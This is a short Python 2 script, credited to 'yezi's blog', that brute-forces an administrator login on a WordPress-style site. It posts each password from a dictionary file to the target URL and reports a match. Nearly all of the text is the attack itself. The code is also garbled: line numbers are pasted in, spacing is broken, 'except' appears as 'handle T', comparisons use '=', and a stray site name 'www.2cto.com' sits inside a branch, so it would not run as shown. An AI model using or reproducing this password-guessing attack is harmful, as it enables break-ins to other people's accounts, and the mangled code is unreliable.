# Coding = UTF-8
02 import urllib, time, sys
03
04 start = time. time ()
05 errors = []
06 def exploit (url, name, dictionary ):
07 for line in open (dictionary ):
08 line = line. strip ()
09 try:
10 data = urllib. urlencode ({'log': name, 'pwd': line, 'redirect _ ':''})
11 content = urllib. urlopen (url, data)
12 if content. read () = '':
13 print "Password is: % s" % line
14 print time. time ()-start
15 sys. exit ()
16 else: www.2cto.com
17 print "try % s failed" % line
18 handle T IOError:
19 errors. append (line)
20 print "try % s occurs IOERROR, add to list and retry it later" % line
21
22 if _ name _ = "_ main __":
23 if len (sys. argv) <4:
24 print 'usage: Url AdminName Dictionary'
25 sys. exit (1)
26 exploit (sys. argv [1], sys. argv [2], sys. argv [3])
27 while errors:
28 for I, line in enumerate (errors ):
29 try:
30 data = urllib. urlencode ({'log': sys. argv [2], 'pwd': line, 'redirect _ ':''})
31 content = urllib. urlopen (sys. argv [1], data)
32 if content. read () = '':
33 print "Password is: % s" % line
34 print time. time ()-start
35 sys. exit ()
36 else:
37 print "try % s failed" % line
38 del errors [I]
39 handle T IOError:
40 errors. append (line)
41 print "try % s occurs IOERROR, add to list and retry it later" % line
42 print time. time ()-start
From yezi's blog